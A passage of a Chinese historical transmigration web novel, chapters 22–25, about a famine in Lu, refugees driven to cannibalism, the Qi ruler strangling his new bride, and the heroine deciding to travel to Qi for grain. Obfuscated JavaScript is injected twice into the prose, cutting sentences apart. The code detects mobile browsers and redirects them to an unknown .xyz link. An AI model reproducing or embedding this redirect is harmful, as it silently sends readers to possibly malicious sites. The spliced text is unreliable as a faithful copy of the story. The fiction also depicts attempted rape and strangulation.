姬挥这次则更直接,他浑浊的老眼如同冰冷的探针,扫过这破旧的仓廪、掉渣的墙壁和那些面有菜色、吓得几乎要哭出来的孩子:“夫人,先君丧仪,耗费几何?王姬出嫁,妆奁又几何?国库本就耗费甚巨,捉襟见肘,寅吃卯粮。如今旱情日益严峻,饿殍遍野,易子而食的惨剧恐将不远!正该是节用爱民,上下同心,共度时艰之时!您却在此耗费本就不多的钱粮,行此毫无急效、徒惹非议、动摇国本之事,岂非劳民伤财,不恤民力,本末倒置?夫人莫非真要为了这些贱民的子弟,置鲁国社稷于不顾吗?” 百里奚眉头紧锁,走到江雅身边,压低声音,恳切却坚定地劝道:“夫人,申大夫、姬夫子所言礼制,固然陈腐。然其核心关于‘时机’之论,却是一针见血!如今局势危殆…仓廪之粮,首在□□安民,此乃当前第一要务!办学授业,功在千秋,然请夫人暂且隐忍,待灾情缓解,臣必第一个支持夫人重开此业!” 江雅愣住了,看着眼前义正辞严、仿佛站在道德制高点的申需,老谋深算、句句诛心的姬挥,以及面露忧色、言之凿凿的百里奚,她感到一股巨大的、令人窒息的无力感,如同陷入泥沼。 她没想到改革阻力竟如此之大,如此根深蒂固,她张了张嘴,想反驳那僵化吃人的礼教,想诉说知识平等、开启民智的深远意义,想告诉他们这些孩子眼中闪烁的光是何等珍贵… “夫人,”百里奚开口打断了她,语气是前所未有的沉重,带着一种近乎绝望的疲惫,“据各地刚刚传来的最新急报,灾情……恐比我们之前预想的,还要酷烈十倍。年初蝗灾过后,又遇大旱,赤地千里,颗粒无收已成定局。即便君上已下令缩减宫室及卿大夫用度,并号召各宗室封邑凑集粮食,都城太仓之粮,若按目前耗用速度,恐怕…也难支撑一月之需了。” 一个月! 江雅只觉得一股寒气从脚底瞬间窜遍四肢百骸,血液都仿佛凝固了。她再也坐不住了,什么办学宏图,什么礼制之争,什么开启民智…在赤裸裸的、迫在眉睫的生存危机面前,都显得如此苍白无力,如此不堪一击! 她几乎是立刻动身,只带着小度和几名贴身侍卫,直接出了宫城,前往曲阜城西门外那片临时搭建、如今已规模惊人的施粥棚区。眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529946|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的景象,瞬间让她手脚冰凉,心如坠无底深渊。 等待施粥的队伍排成了蜿蜒扭曲、看不到尽头的长龙,从几个冒着微弱蒸汽的粥棚门口,一直延伸到远处那片早已被啃光树皮、只剩下枯骨干枝的树林边缘。队伍里,男女老少皆有,个个衣衫褴褛,污秽不堪,许多人的衣服已经破成了布条,难以蔽体。 他们人人面黄肌瘦,颧骨高耸,眼窝深陷,眼神空洞而麻木,如同被抽走了灵魂的傀儡,只剩下求生的本能驱使着他们站在这里。 他们异常安静地等待着,只有偶尔从母亲干瘪□□旁传来的婴儿微弱啼哭,和老人撕心裂肺的咳嗽声,才能短暂地打破这片死寂的、令人窒息的绝望。 那所谓的“粥”,浑浊不堪,呈现出一种令人不安的灰黄色,清澈得几乎能映照出棚顶草席的缝隙,稀薄的米汤里,寥寥无几的、几乎数得清的米粒可怜地沉在巨大的木桶底部,需要施粥的吏役用长柄木勺用力搅动,才能偶尔翻上来几颗。 “怎么会这样?前阵子送王姬出嫁回来的时候,还不是这样子的啊?国库的粮食呢?不是已经下令开仓了吗?周边邑仓的存粮呢?”江雅声音发颤,一把抓住负责维持此地秩序的一个小吏的胳膊,那胳膊瘦得只剩下一把骨头。 那小吏噗通一声跪倒在尘土里,不住地磕头,额头上瞬间沾满了灰土,带着哭腔嘶喊道:“夫人!真的没了啊!能调用的存粮都调来了,周边的邑仓也几乎被搜刮一空,连军粮都动用了部分,可实在是杯水车薪,逃荒来的流民太多了,每天都在增加啊夫人!属下实在无能为力了!” 江雅无力地丢开小吏。在混乱、肮脏而绝望的人群中,江雅的目光,猛地定格在一个佝偻着背、排在队伍最末尾、几乎要瘫倒在地的老者身上。 他脸上布满深深的、如同干裂土地般的皱纹,眼神浑浊黯淡,失去了所有光彩,只剩下一片死灰。 江雅的心像是被一只无形的手狠狠揪了一下,刺痛难忍——那是曾经邀请她参加篝火晚会,那个热情、爽朗、对生活充满期盼和信心的里正! 不过短短数月,无情的天灾人祸,竟已将一个健谈乐观、充满生命力的汉子,折磨成了这般形销骨立、生机断绝、暮气沉沉的模样! 自己明明发明了筒车,改进了农具,怀着一腔改变这个世界、让百姓过得更好的美好愿望,付出了无数努力,却依然抵挡不住这席卷一切的灾难巨轮,改变不了这饿殍遍野、生灵涂炭的现实吗? 一股巨大的挫败感、愤怒和深沉的悲哀,如同海啸般涌上她的心头,几乎要将她淹没。 就在这时,一股与周围环境格格不入的、异常的、带着油脂香气的肉味,从旁边一个窝棚里飘了出来。 在这个时候,在这种地方,连草根树皮都快被啃食殆尽的地方,怎么会有肉? 江雅心中疑窦顿生,一股难以抑制的怒火直冲头顶——莫非是有丧尽天良的恶霸欺行霸市,抢夺了灾民们最后一点活命的口粮?或是管理此处的官吏胆大包天,中饱私囊?! 她脸色铁青,大步流星地走过去,不等侍卫动手,自己一把猛地掀开了那挡风的、污秽不堪、散发着霉味的草帘。 然而窝棚里的景象,让她永远都无法忘记。 几个同样面黄肌瘦、眼神空洞如同死鱼的人,有男有女,都沉默地围着一口架在几块残砖上的、黑乎乎的小锅,有的在喝汤,有的用手抓着里面的肉块撕咬。 他们脸上没有任何填饱肚子的满足,反而是无尽的悲痛、麻木与一种近乎崩溃的绝望,边机械地、艰难地咀嚼着,边无声地任由浑浊的眼泪肆意流淌,滴落在肮脏的衣襟上和滚烫的锅沿上,发出轻微的“滋滋”声。 旁边窝棚的人看着他们,眼神里没有羡慕,没有愤怒,没有指责,只有深不见底的同情、理解,以及一种令人心寒到极致的、仿佛已认命的麻木。 “你们…在吃什么?”江雅的声音剧烈颤抖,几乎不成调子,一种隐隐的恐怖预感,让她浑身发冷。 一个头发花白凌乱的男子抬起头,看着江雅,忽然泪流满面:“是…是我娘,她为了省下口粮给娃儿们活命,自己找了根草绳,在后边那棵歪脖子树上…上了吊,”他一边说,一边用袖子揩眼泪。 “临走前…她说…说让我们…别浪费了…把她…煮了…吃了…好歹…能多活几天…撑到…撑到有粮的时候…” 江雅如遭五雷轰顶,猛地向后踉跄一步,胃里瞬间翻江倒海,一股强烈的恶心感直冲喉咙,她猛地用手捂住嘴,才没有当场呕吐出来。冷汗瞬间湿透了内衫,从灵魂深处感到一种彻骨的寒冷与恐惧。 “为什么…为什么会这样…怎么会…”她靠在侍卫及时伸出的手臂上,才能勉强站稳。 跟随而来的臧达早已老泪纵横,痛心地闭上眼,声音哽咽沙哑:“夫人,今岁之旱,乃是数十年未遇之大旱,河涸井枯,赤地千里,非独我鲁国如此啊!此乃天灾,远非人力可抗” 申需表情沉痛,对这种惨绝人寰的国难,是什么人都不想见到的,他补充道:“周边郑、卫、曹、邾等国,自身难保,皆闭境自守,禁绝流民涌入。偶有存粮富余如晋、楚者,也皆畏齐国兵威与强势,不敢、不愿售一粒粮与我鲁国。齐国更是陈兵边境,严令关隘,彻底禁绝任何粮秣流入我国境。这不仅是天灾,更是人祸。” 跟在江雅身后,同样被眼前惨状震撼得面色惨白、嘴唇发抖的鲁同,此刻紧紧攥着拳头。少年国君的脸上充满了巨大的无力感与愤怒。 他猛地抬起头,看向身旁脸色凝重如铁的百里奚:“百里先生!代寡人给齐侯修书!借粮!” 百里奚深深一揖,领命而去。不久,一封承载着鲁国最后希望的书信,星夜兼程,怀着一丝微茫的期盼,赶往那决定鲁国命运的临淄。 “鲁同谨致书齐侯殿下:昔者周公、太公,股肱周室,夹辅成王,成王劳之,赐之盟曰:''世世子孙无相害也!''载在盟府,大师职之。今先君不幸薨殂,同以冲龄嗣守藩邦。然天降戾灾,旱魃为虐,赤地千里,仓廪空虚。黎民阻饥,野有饿莩;社稷危殆,如在累卵。敢恃先王之盟,仰祈甥舅之谊,望假粟粮以苏民困。若得纾难,永佩大德。鲁同顿首再拜。” 仅仅数日,使者便带回了来自齐国的回信。 鲁同、江雅、臧达、姬挥等核心重臣齐聚正殿。所有人的目光都聚焦在那玄色漆盒上。鲁同深吸一口气,亲手打开了漆盒,取出一卷精致的素帛。 上面,只有一行字,言简意赅,却冰冷彻骨: “粮,有。欲借,需雅妹亲来临淄取。” 简短的字句如同淬毒的匕首,精准而残忍地,直刺江雅的心脏。殿内一片死寂,鲁同的手在颤抖,臧达闭上眼,发出一声悠长而痛苦的叹息。 殿内的时间仿佛凝固了。那卷写着齐侯要求的素帛,刚从江雅指尖飘落,尚未落地,就在这时,小度却飞奔了过来。 “夫人,不好了!单伯来信,说王姬在新婚之夜,被齐侯掐死了!” 连日来的忧思、阴郁、操劳与恐惧,再加上一直未痊愈的伤势,使得江雅“噗”地一声,吐出一口鲜血,便昏了过去。 23. 第二十三章 新婚之夜 时间倒回到王姬嫁入齐宫那一晚。 临淄齐宫,今夜张灯结彩,盛大的婚宴刚刚散去。空气中弥漫着酒肉与香料混合的浓烈气息,红绸在宫灯映照下,流淌着过于饱满、近乎不祥的光泽。 齐侯姜诸儿已有七八分醉意。他拒绝了内侍的搀扶,独自踉跄着走向装饰一新的寝宫。脚步虚浮,眼神却异常明亮,一种混合着欲望与追忆的狂热在他眼底燃烧。 “阿雅…阿雅…”他低声嘟囔着,脸上泛起不正常的潮红。 婚宴上,他听近侍窃语,说王姬出嫁前夕,仍是与鲁夫人同榻而眠。就这么一句无心之言,却像一点火星落入了积压多年的干柴堆。 他仿佛能从尚未谋面的王姬身上,嗅到那一缕萦绕心头十余年、属于他异母妹妹姜雅的熟悉气息。仅仅是这个念头,就让他亢奋不已,在宴上忍不住多灌了自己好几觥烈酒。 寝宫门外,几名内侍垂手侍立。其中一位面容精乖、眼神活络的,名叫陈费。 他听着宫内隐约传来的动静,又偷眼瞧见齐侯那般情状,脸上不禁露出一个猥琐而了然的笑容,低声对旁边的小内侍炫耀道:“瞧见没?咱们君上,这可是多少年未有的大喜事!咱们啊,就等着明日领赏吧!” 边上一名明显地位更低的内侍,露出谄媚的笑容,搓着双手讨好式地接话:“陈大人,这话从何谈起啊,君上大婚,当然是喜事,这又有什么奇怪的,此中莫非另有玄机?还请陈大人给大家解说一二!” “嘿嘿,你们只知其一,不知其二啊!”陈费神气的扫视一圈,“自从那位…咳,雅公主嫁去鲁国后,咱君上就跟变了个人似的,后宫那些夫人、美人,哪个不是形同虚设?啧啧啧,作孽哟!这么多年,竟连位公子都没有!”他挤挤眼,声音压得更低,“如今好了,这位王姬,听闻与雅公主关系匪浅,同吃同住,咱们君上一听这个消息,魂都被勾掉了,我服侍君上这么多年,自从雅公主出嫁以后,这还是头一回见到君上有这副表情…嘿嘿,咱们君上今晚,定然能得偿所愿,重振雄风!” “嘿呀!不愧是陈大人,竟然懂得如此多的宫中典故,以后还得麻烦陈大人多提携提携!” 殿外窃窃私语,殿内却是红烛高烧,映得满室皆春,也映出周琼单薄而僵硬的身影。 她端坐在宽大的婚榻边,依旧穿着那身繁复沉重的玄色礼服,翚凤冠也未摘下,长长的旒珠垂在眼前,微微晃动,隔绝了她与外界的部分联系,也藏起了她眼底的恐惧与不安。她像一尊被华美衣冠禁锢的、等待最终审判的祭品。 沉重的脚步声伴随着浓烈的酒气靠近。 姜诸儿走了进来。他挥手屏退了原本在殿内伺候的媵女与宫人。门被轻轻合上。 他慢慢走到周琼面前,站定,目光灼灼,带着醉意的迷蒙,穿透那晃动的旒珠,落在她年轻而苍白的脸上。那精心描绘的妆容,那在红衣映衬下更显脆弱的姿态,与他记忆中十多年前,那个同样盛装、却哭着被送往鲁国的少女身影,渐渐重叠。 “阿雅…”他喃喃开口,声音因酒意而沙哑缠绵,带着一种不合时宜的深情,“是你吗?你终于…回来看我了?”他伸出手,似乎想触摸她的脸颊,却又带着一种近乎虔诚的小心翼翼。 周琼浑身一颤,下意识地往后缩了缩。 姜诸儿恍若未觉,自顾自地诉说起来,话语凌乱而滚烫:“你知不知道…你走之后,这兰台有多么无聊,多么寒冷?他们都不懂我,父王不懂,母后不懂,那些朝臣更不懂!他们只知道说什么‘礼法’,说什么‘伦常’,狗屁!统统都是狗屁!我们明明才是这世上最懂彼此的人…我们从小一起长大,你的心事只有我懂,我的抱负也只说与你听…” 他越说越激动,俯下身,酒气几乎喷在周琼的脸上:“鲁允那个莽夫,他怎配得上你?他懂你的诗书吗?懂你的琴音吗?他什么都不懂!只有我…只有我才有资格,才是最应该站在你身边的人!” 周琼听得心惊肉跳。饱读诗书的她自然也知人伦大道,早在小时候,就已经听父王他们讨论过当年那段孽缘,如今亲耳听到齐侯悖逆人伦的这番话,更觉惊世骇俗。 周琼想起江雅那虽然无视礼法,但却胸怀天下的胸襟,想起她脑海中浩如烟海的奇思妙想,觉得她与齐侯所说的“阿雅”绝非一人。她忽然想起临行前,与江雅同榻而眠那一晚,江雅说自己并非这个世界的人,是“穿越”而来,心中忽然了然。 然而,看着眼前这痴情的男子,她又忽然有些同情,他只是一个为情所困的可怜人而已。 但是,自己毕竟是周王室的公主,是江雅的好姐妹,既然自己政治联姻的身份改变不了,已经嫁了过来,就还是要想办法引导此人走向正途,努力改善齐鲁关系,一起匡扶周王室,造福人民才是。 于是,她鼓起勇气,趁着姜诸儿喘息停顿的间隙,声音微颤却清晰地开口:“君上,你醉了。妾乃周琼。君上所言,实乃…实乃对鲁夫人之所思。兄妹之伦,纵使情深,亦当…克己复礼,方为君子之道,方不负国君之尊。” “克己复礼?!” 这四个字,如同烧红的烙铁,猛地烫在了姜诸儿最敏感、最疼痛的神经上! 他脸上的深情与迷醉瞬间褪去,取而代之的是一种被触怒、被揭开旧伤的狂暴狰狞。他猛地直起身,双眼赤红,死死盯住周琼,声音陡然拔高,尖利刺耳: “克己复礼?!你再说一遍?!又是这四个字!当年!就是那个老不死的!就是他用这四个字!硬生生拆散了我和阿雅!他说我不懂礼义!说我有违伦常!哈哈哈!礼?什么是礼?我心悦她,她心悦我,这便是天底下最大的礼!” 他状若疯魔,猛地扑上前,一把抓住周琼纤细的手臂,力道大得几乎要捏碎她的骨头。“凭什么?!凭什么要我克己?凭什么要我们分离?!你们都是一样的!一样的道貌岸然!一样的…可恶!” “君上!不可!请依礼而行!”虽然以做好充足的心里准备,但猛地遭遇此景,周琼还是吓得花容失色,拼命挣扎。但那点力气,在盛怒的壮年男子面前,如同蚍蜉撼树。 华丽的礼服被粗暴地撕扯,珠翠在挣扎中崩落,发出清脆又绝望的声响。周琼被死死按在冰冷的锦褥上,屈辱和恐惧的泪水终于决堤,顺着眼角无声地滑落,浸湿了鬓发。 那冰凉的泪滴,沾湿了姜诸儿的手背。 他狂暴的动作猛地一滞。看着身下少女那充满屈辱、恐惧和绝望的泪眼,他恍惚间,仿佛看到了很多年前,另一个少女在他面前无助垂泪的模样。 他像是被烫到一般,猛地松开了手,踉跄着后退两步,脸上露出一丝混杂着愧疚和慌乱的奇怪表情,语无伦次地道:“阿雅…别,别哭…是兄长不好…兄长不该吓你…我,我…” 然而,这短暂的清醒,敌不过汹涌而上的酒意,更敌不过那被“克己复礼”四字彻底引爆的、积压了十数年的执念与疯狂。 酒劲混杂着扭曲的记忆,再次淹没他的神智。他晃了晃脑袋,眼前的周琼,又变成了那个从陪同鲁允从鲁国归来、在他面前哭诉的妹妹。 “他骂我…他骂我是贱人…”记忆中,妹妹梨花带雨,投入他的怀抱,身体温软,带着让他心醉又心碎的温度。“兄长…只有你对我最好了…” 然后是极致的欢愉,禁忌的缠绵,仿佛要将多年的分离都补偿回来。 再然后,是妹夫鲁允那愤怒而鄙夷的骂声,是妹妹惊慌失措的哭诉,一股暴戾之气直冲头顶。 “他敢骂你?!他敢让你受委屈?!我让他死!” 公子彭生…对了,是彭生动的手…那蠢货,事情办得不利索… 可是,为什么?为什么明明已经杀掉了鲁允,眼看着再也没有人能阻碍我们了,那一夜之后,阿雅却被天雷击中?醒来后,看我的眼神就像看一个陌生人?再也没有了往日的亲昵与情意?只剩下疏离、恐惧,甚至…厌恶? “为什么?!!”姜诸儿猛地抱住头,发出野兽般的低吼。他再次看向床上蜷缩着、瑟瑟发抖、泪流不止的周琼,那双含泪的眼睛,此刻在他扭曲的视线里,与记忆中江雅那陌生而冰冷的眼神重合了。 “为什么不理我?!为什么用那种眼神看我?!我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529947|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不是相爱的吗?!我们不是发誓要永远在一起的吗?!” 所有的理智彻底崩断。他狂吼着,如同失去幼崽的疯兽,猛地扑上去,双手死死掐住了周琼纤细脆弱的脖颈! “为什么?!你说啊!为什么?!!” 他疯狂地摇晃着她,一遍又一遍地嘶吼着那个得不到答案的问题。周琼徒劳地挣扎着,双脚踢蹬着锦被,脸色由红变紫,瞳孔逐渐放大,那里面倒映着的,是齐侯完全癫狂的、如同恶鬼般的面孔。 窒息的痛苦如潮水般涌来,周琼的意识开始模糊。在生命的最后时刻,她的思绪却忽然飘向了她魂牵梦萦的鲁国寝宫。 夫人,对不起,阿琼要先走一步了。我们不是说好要一起看着那些孩子长大,看着曲辕犁耕遍天下,看着你带来的知识改变这个世界吗?那本《琼贻秘录》我还没有整理完,学堂里的孩子们还在等着我们… 她的眼前浮现出江雅的身影,那个来自异世的灵魂,带着她从未见过的光芒。 夫人,我相信你。即使没有我,你也一定能做到。你会让鲁国强大,会让天下女子看到希望,会把你说的那个美好世界带到人间。 她的视线开始涣散,但嘴角却泛起一丝几不可察的笑意。 再见了,夫人。请带着我的那份期望,继续走下去… 守在门外的陈费,起初听着里面的哭喊和怒吼,还只当是君上兴致高昂,虽觉动静有些过大,也不敢贸然打扰。可听着听着,那声音越来越不对,尤其是君上那一声声凄厉如鬼嚎的“为什么”,以及那明显是窒息挣扎的动静。 陈费脸色大变,再也顾不得许多,猛地推开殿门冲了进去。 眼前的景象让他魂飞魄散:君上双目赤红,状若疯魔,双手正死死掐着王姬的脖子,而王姬躺在榻上,面色青紫,双眼圆睁,已然没了声息! “君上!不可!快松手!”陈费吓得魂不附体,连滚带爬地冲上去,用尽平生力气,才将已然力竭又醉醺醺的姜诸儿从周琼身上扯开。 姜诸儿被拽得一个趔趄,跌坐在地,呼哧呼哧地喘着粗气,眼神依旧狂乱,嘴里还在无意识地念叨着“为什么”。酒劲与疯狂过后,是极度的疲惫,他眼皮耷拉了几下,竟就这般靠着床榻,沉沉睡去,发出响亮的鼾声,对刚刚犯下的滔天大罪,浑然不觉。 陈费颤抖着手,探向周琼的鼻息——一片死寂。 他腿一软,瘫坐在地,面无人色。 完了!全完了!王姬…天子之女,新婚之夜,竟被君上活活掐死在寝宫! 几乎是同时,闻讯赶来的单伯冲到了殿外,恰好看到这令人胆寒的一幕。他眼前一黑,几乎晕厥,强撑着扶住门框,才没有倒下。 作为周王室的老臣,他太明白这意味着什么了——这不仅仅是齐侯发疯杀死自己的新婚妻子,这是对周王室权威最赤裸裸的践踏! "齐侯…你…你竟敢…"单伯气得浑身发抖,手指紧紧抓住门框,指节因用力而发白。 但他很快强迫自己冷静下来。多年的政治经验告诉他,现在不是发泄愤怒的时候。必须立即将消息传回洛邑,让天子早做准备。同时…他想起那个在鲁国独撑局面的女子,那个与王姬情同姐妹的鲁夫人。 "快!备车!即刻返回洛邑!"他对着随从嘶声喊道,声音都在发抖。他自己则连滚带爬地冲回住处,也顾不得笔墨是否周全,哆哆嗦嗦地在一块素帛上写下最简短急迫的信息,唤来心腹:"快!送去鲁国!亲手交到鲁夫人手中!不惜一切代价!" 看着死士消失在夜色中,单伯瘫坐在席上,面如死灰。他知道,这天真的要塌了。周王室的尊严被如此践踏,天下诸侯会如何看待天子?齐国如此罔顾礼法,蔑视王权,诸侯是否会群起而攻之?鲁国作为主婚国,是否要带头为周王室讨个公道?整个天下的格局能否因此而改变? 而那座刚刚举行过盛大婚礼的齐国宫殿,此刻在深沉的夜色里,依旧灯火通明,却再无一丝喜气。只有匆忙、慌乱、压抑的脚步声和窃窃私语,如同暗流,在华丽的梁柱间涌动,酝酿着一场即将到来的风暴。 24. 第二十四章 抉择 权力,是一面棱镜,将人性的底色折射得泾渭分明。 高尚者将权力累成了沉重的枷锁——每一个抉择都牵扯着千万人的悲欢,他们在暗夜里反复推演命运的棋局。 卑鄙者却将权力熔铸成□□。他们握着盖印的朱砂,肆意涂抹世界的经纬。 当高尚者在伦理的泥沼中跋涉时,卑鄙者早已驾着欲望的马车碾过世俗的藩篱。 成长,也许要经过长久岁月的自然沉淀,但也许,只需经历一个晚上的痛苦抉择。 江雅并没有昏迷太久。 与其说是苏醒,不如说是被一股锥心刺骨的痛苦强行拽回了现实。意识先于身体复苏,像一块浸透了冰水的破布,沉重、冰冷地贴合着她每一寸神经。 周琼死了。 那个在星空下与她畅谈理想,会细心为她整理《琼贻秘录》,会在她重伤时亲口尝药的女孩,在新婚之夜,被她名义上的兄长、那个偏执疯狂的齐侯,活活掐死了。 这消息像一把烧红的匕首,在她心口反复搅动,每一次心跳都泵出难以忍受的剧痛和滔天的恨意。喉咙里一股腥甜涌上,她侧过头,又是一小口暗红的血咳在素白的绢帕上,像雪地里绽开的残梅。 “夫人!” 守在榻边的小度带着哭腔,慌忙用湿巾为她擦拭嘴角。 江雅闭上眼,无力地摆了摆手。身体的伤痛远不及内心的万分之一。她只想沉沦在这片黑暗里,让无边的痛苦将自己吞噬。 然而,现实没有给她太多沉溺的时间。 “娘亲…” 鲁同的声音在床边响起,带着少年人强行压抑的沙哑和一丝不易察觉的惶恐。 江雅缓缓睁开眼,看到儿子憔悴的脸上,那双与自己有几分相似的眼眸里,盛满了血丝、悲痛,以及一种更深沉的、属于国君的忧惧。 “各地急报,粮…国库的粮食已经彻底吃尽了。” 他几乎是咬着牙说出这句话,每一个字都像有千斤重。“施粥的棚区…昨日,又抬出去十几具…尸体。” 那些画面不受控制地涌入江雅的脑海——排成长龙、眼神麻木的灾民,清可照影的粥汤,里正那形销骨立、生机断绝的身影…以及,那口冒着诡异肉香的黑锅,和窝棚里那些人绝望麻木的眼泪… 胃里一阵翻江倒海,她猛地用手捂住嘴,才压下那股强烈的呕吐欲。 江雅无力地挥了挥手。 看着满脸痛苦与疲惫的江雅,鲁同他们忍住无尽的担心,缓缓退了出去,他们知道,江雅自己要静一静。 几股声音,在江雅的脑海里已经吵地翻天覆地。 一边,是挚友的冤魂;另一边,是嗷嗷待哺的万千生灵。 一道选择题彷佛鸿沟一样摆在她的面前。 找齐国借粮食,去?还是不去? 去? 去向那个掐死阿琼的变态低头?去求他?阿琼尸骨未寒,你就要对杀害她的仇人摇尾乞怜吗? 你不是信誓旦旦地说,‘欺负我江雅护着的人,是要倒大霉的’,‘纵使穷尽我毕生之功,也必向那令她受屈之人,百倍、千倍地讨还’,这些话说的时候是那么地豪气干云,难道现在又要全部吃进肚子里去吗?这岂非天大的笑话! 而且,姜诸儿那变态对你觊觎已久,此去无异于羊入虎口,不管借粮成与不成,你都将声名扫地,好不容易与自己和解的鲁同会如何看你?处心积虑的赢粲又会如何借题发挥? 不去? 那么,那些灾民怎么办?看着他们易子而食,看着他们成片饿死?那些空洞麻木地望向你的眼神,闭上眼睛就会浮上你的脑海,你打算余生都不睡觉吗?刚继位的儿子鲁同要如何挺过这个灾难性的打击?野心勃勃的鲁庆是否会借机发难?那些你曾想用筒车、用新农具去造福的百姓怎么办?你发明那些东西的意义何在? 江雅挣扎着站了起来,弯着腰,迈着虚弱的步子,在房间内踱来踱去。 忽然,一个更诱人的念头浮了上来:走吧…就这样算了吧,别为难自己了。你本来就不属于这里,这个世界的一切,什么鲁国、太子、灾民…包括周琼,一切本就与你无关,这只是一场梦境,为什么要承受这些?本来的你是多么地自在啊,睡醒搬砖,下班喝酒,嬉笑怒骂,快意恩仇。放下这一切把,就当一场无论胜负的游戏,随便玩玩,不必入戏过深。 这个念头像毒蛇一样缠绕着她,带来一种飘渺的解脱感。 是啊,我只是个误入此间的孤魂,何必扛起这沉重的江山社稷? 可是… 她的目光,不由自主地投向枕边那本厚实的《琼贻秘录》。周琼工整娟秀的字迹仿佛在眼前跳动,那个少女郑重托付的神情清晰如昨:“夫人,才高者任重…请你一定不要辜负它…让它如同甘霖,滋养鲁国,造福天下苍生…” 还有鲁同,她在这个世界上唯一的骨血至亲,他刚刚稳固的君位,他稚嫩肩膀上沉重的江山…若鲁国因饥荒而大乱,覆巢之下,安有完卵? 走不得,也死不得。 她被死死地钉在了这个名为“责任”和“道义”的十字架上,进退维谷,左右皆是无底深渊。 江雅一夜未眠,就这么踱来踱去,这一夜,前所未有的漫长,仿佛过了一生。窗外的天色从墨黑到鱼肚白,晨光微熹时,她一动不动,如同雕像。 仅仅一夜,她仿佛苍老了十岁。眼窝深陷,脸色灰败,连一向灵动的眼眸也失去了光彩,只剩下深不见底的疲惫和一种近乎破碎的平静。 她走出房间,看着一直守在门外,同样一夜未眠的鲁同、臧达、展禽和百里奚。 “我…” 她刚开口,又是一阵剧烈的咳嗽,殷红的血点溅在身前衣襟上,触目惊心。 “娘亲!” 鲁同冲上前,声音带着哭腔。 江雅抬手止住他,用绢帕狠狠擦去嘴角的血迹,深吸一口气,仿佛用尽了全身的力气,声音沙哑却异常清晰地说道: “我去。” 两个字,重若千钧。砸在寂静的殿内,激起无声的波澜。 臧达闭上眼,老泪纵横,深深一揖到地:“夫人…忍辱负重,老臣…代鲁国百姓,谢过夫人!” 展禽猛地踏前一步,他性情刚烈,此刻虎目含泪,声音因激动而颤抖:“夫人!不可!齐侯禽兽不如,弑杀王姬,夫人此去,无异于投身虎狼之穴!展禽不才,愿代夫人前往!纵使斧钺加身,亦要向齐侯问个明白!若借不到粮,展禽便血溅五步,以死明志!” 百里奚却缓缓摇头,他看向展禽,语气沉静而理智:“展夫子忠勇,天地可鉴。但是,齐侯若讲道理,便不会行此骇人听闻之事。夫子此去,慷慨赴死易,但于灾情何益?于鲁国何益?” 他转而面向江雅和鲁同,郑重拱 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这是最合理的安排。展禽嘴唇动了动,看着年轻的国君和憔悴的夫人,最终将满腹的悲愤与担忧化作深深一揖:“臣…遵命!” 百里奚上前一步,在江雅面前屈下膝,行了一个极为庄重的大礼。他没有看江雅,而是看向鲁同,声音不高,却带着一种决绝: “君上,夫人以国士待奚,奚必以国士报之。奚在此立誓,此行,粮食若能借得,奚与夫人同归;若事有不逮…” 他抬起头,目光如磐石般坚定,“奚,亦必倾尽全力,护夫人周全,送夫人归来。否则,奚,绝不独活于此世间!” 绝不独活。 四个字,像沉重的鼓点,敲在每个人心上。这不是一时冲动的豪言,而是用生命许下的承诺。 江雅看着他,看着这个她从市井奴隶中一手提拔起来的上大夫,心中百感交集。有感动,有欣慰,更有一种沉甸甸的托付感。 她艰难地扯动嘴角,想给他一个安抚的笑容,却只牵动了干裂的嘴唇。 “有劳…先生了。” 她轻声道。 决定已下,便再无回头路。 接下来的半日,整个鲁宫如同绷紧的弓弦,在压抑中高效地运转。臧达负责调集仅存的、能撑场面的仪仗和礼物;展禽铁青着脸,亲自去挑选随行的精锐护卫,务求忠诚可靠;百里奚则闭门不出,与几名心腹幕僚紧急推演此行可能遇到的各种情况,以及应对之策。 江雅强撑着精神,由小度服侍着喝了几口参汤,换上了一身更为庄重、却也更加束缚的深色礼服。镜子里的女人,面容憔悴,眼神却像淬了火的寒冰。 她知道,前方是龙潭虎穴,是杀人凶手的巢穴,是她尊严的修罗场。 但她别无选择。 为了那些在死亡线上挣扎的百姓,为了周琼未竟的理想,也为了她那个刚刚坐上君位、眼神里还带着惶恐的儿子。 出发前,她最后去了一趟那间简陋的学堂。孩子们已经被暂时遣散,空荡荡的旧库房里,只有那块简陋的黑板,和她用石灰块写下的几个歪歪扭扭的字。 她伸出手指,轻轻拂过“水”字旁边那个幼稚的太阳笑脸。 然后,她转身,没有丝毫犹豫,走向了宫门外那辆等待她的、即将驶向屈辱与未知的马车。 25. 第二十五章 三个条件 临淄齐宫,旌旗招展。 通往正殿的甬道两侧,甲士肃立,衣甲鲜明,戈戟在秋日下闪着冰冷的寒光。编钟古磬之声庄重而悠扬,身着玄端礼服的赞礼官高唱着冗长的迎宾祝词。 江雅面无表情,犹如行尸走肉般,依着百里奚事先反复教导的礼仪,上前一步,躬身,行礼。她能感受到一道灼热得几乎能将她穿透的目光,正从大殿最深处的主位上射来。她不必抬头,也知道那是谁。 姜诸儿。 繁琐的迎宾礼终于结束。不待江雅与百里奚稍作喘息,齐侯的声音便已传来,带着一丝刻意压制的、却依旧能听出异样亢奋的平静:“鲁夫人远来辛苦,请随寡人至后殿一叙。寡人备了些许薄酒,以慰舟车劳顿。” “君上!” 